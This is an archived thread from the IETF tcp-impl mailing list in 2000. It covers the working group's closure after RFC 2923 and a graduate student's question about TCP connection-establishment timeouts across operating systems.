PDT From: Vern Paxson Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk FYI, now that "TCP Problems with Path MTU Discovery" has been published as RFC 2923, the tcpimpl WG has finally completed its charter, and is being shut down. However, the mailing list will not go away, and corrections/updates to the tcpimpl documents remain of interest (the WG can always be revived if need be to revise a document). Thanks very much to all of you for your contributions ... Vern & Mark From owner-tcp-impl@lerc.nasa.gov Fri Sep 22 07:41:04 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA05803 for ; Fri, 22 Sep 2000 07:41:03 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id FAA11082 for tcp-impl-outgoing; Fri, 22 Sep 2000 05:40:27 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id FAA11057; Fri, 22 Sep 2000 05:40:24 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id FAA02685; Fri, 22 Sep 2000 05:40:23 -0400 Received: from mercury.spider.com(194.217.109.10) by seraph3.lerc.nasa.gov via smap (V5.5) id xma002444; Fri, 22 Sep 00 05:39:23 -0400 Received: from asimov.spider.com (asimov.spider.com [212.240.99.66]) by mercury.spider.com (8.8.8/8.8.8) with ESMTP id KAA29320; Fri, 22 Sep 2000 10:38:27 +0100 (BST) (envelope-from ian@asimov.spider.com) Received: from malatesta.spider.com (malatesta.spider.com [212.240.99.93]) by asimov.spider.com (8.9.1b+Sun/8.9.1) with ESMTP id KAA04321; Fri, 22 Sep 2000 10:38:24 +0100 (BST) Received: (from ian@localhost) by malatesta.spider.com (8.9.1b+Sun/8.9.1) id KAA29131; Fri, 22 Sep 2000 10:38:24 +0100 (BST) Date: Fri, 22 Sep 2000 10:38:24 +0100 From: Ian Heavens To: Vern Paxson Cc: tcp-impl@grc.nasa.gov, mallman@grc.nasa.gov, sob@harvard.edu Subject: Re: adios tcpimpl (the working group, but not the mailing list) Message-ID: <20000922103824.A29104@malatesta.spider.com> References: <200009212257.e8LMvst27041@daffy.ee.lbl.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre4i In-Reply-To: <200009212257.e8LMvst27041@daffy.ee.lbl.gov>; from vern@ee.lbl.gov on Thu, Sep 21, 2000 at 03:57:54PM -0700 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk I think a TCP implementors' email list is an excellent idea, regardless of IETF activities :-). Thanks to Vern and Mark for chairing the WG.... ian On Thu, Sep 21, 2000 at 03:57:54PM -0700, Vern Paxson wrote: > FYI, now that "TCP Problems with Path MTU Discovery" has been published > as RFC 2923, the tcpimpl WG has finally completed its charter, and is > being shut down. However, the mailing list will not go away, and > corrections/updates to the tcpimpl documents remain of interest (the WG > can always be revived if need be to revise a document). > > Thanks very much to all of you for your contributions ... > > Vern & Mark -- Ian Heavens, Spider Software Ltd., http://www.spider.com/ 8 John's Place, Leith, Edinburgh EH6 7EL. Tel +44 131 475 7015 fax. +44 131 475 7001 ian@spider.com From owner-tcp-impl@lerc.nasa.gov Tue Sep 26 23:55:57 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA22280 for ; Tue, 26 Sep 2000 23:55:56 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id VAA21438 for tcp-impl-outgoing; Tue, 26 Sep 2000 21:17:22 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id VAA21397; Tue, 26 Sep 2000 21:17:18 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id VAA04587; Tue, 26 Sep 2000 21:17:17 -0400 Received: from smtp.stanford.edu(171.64.14.23) by seraph3.lerc.nasa.gov via smap (V5.5) id xma004437; Tue, 26 Sep 00 21:16:32 -0400 Received: from stanford.edu (yuba.Stanford.EDU [171.64.74.168]) by smtp.Stanford.EDU (8.9.3/8.9.3) with ESMTP id SAA23987; Tue, 26 Sep 2000 18:16:30 -0700 (PDT) Message-ID: <39D14A6E.7CDD353D@stanford.edu> Date: Tue, 26 Sep 2000 18:16:30 -0700 From: Pablo Molinero X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.10.20 9000/780) X-Accept-Language: es,gl,fr,it,de MIME-Version: 1.0 CC: tcp-impl@grc.nasa.gov, mallman@grc.nasa.gov, sob@harvard.edu Subject: tcpimpl, is anybody out there? References: <200009212257.e8LMvst27041@daffy.ee.lbl.gov> Content-Type: text/plain; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by smtp.Stanford.EDU id SAA23987 X-MIME-Autoconverted: from quoted-printable to 8bit by lombok-fi.lerc.nasa.gov id VAA21410 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by lombok-fi.lerc.nasa.gov id VAA21438 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id XAA22280 Hi, I hope that there is still someone out there in the list. I am working for my thesis in a resource reservation system that would transform a regular connection establishment in TCP into a reservation request at the core of the network. If the request cannot be accommodated immediately, I would like to wait for sometime before resetting the TCP connection to see whether some resources become available. My question is: is there a study of how long different TCP implementations wait before giving up a connection establishment (i.e. because the SYN does not get a SYN-ACK back in response)? I have done some rough investigations and I saw that: - RFC 1122, Sec. 4.2.3.5, page 101, states that the connection establishment time-out should be at least of 3 min. - Linux 2.2.16 waits for 13 min. - Solaris 2.7 waits for 3 min 44 sec - HP-UX 10.20 & 11.0 wait for 1 min 12-16 sec [non-RFC-1122-conformant] - Windows 98 waits for 45 sec [non-RFC-1122-conformant] I would appreciate if you could tell me for how long other implementations wait (a simple "time telnet 171.64.74.5" will tell you between in the third column), and whether there are any studies on different TCP implementations. Thanks in advance, Pablo Molinero -- ------------------------------------------------- Pablo Molinero-Fernández (650) 497-7490 (home) (650) 723-1414 (office) http://www.stanford.edu/~molinero Snail-mail: Gates Building 3A, Room 342 Stanford, CA 94305-9030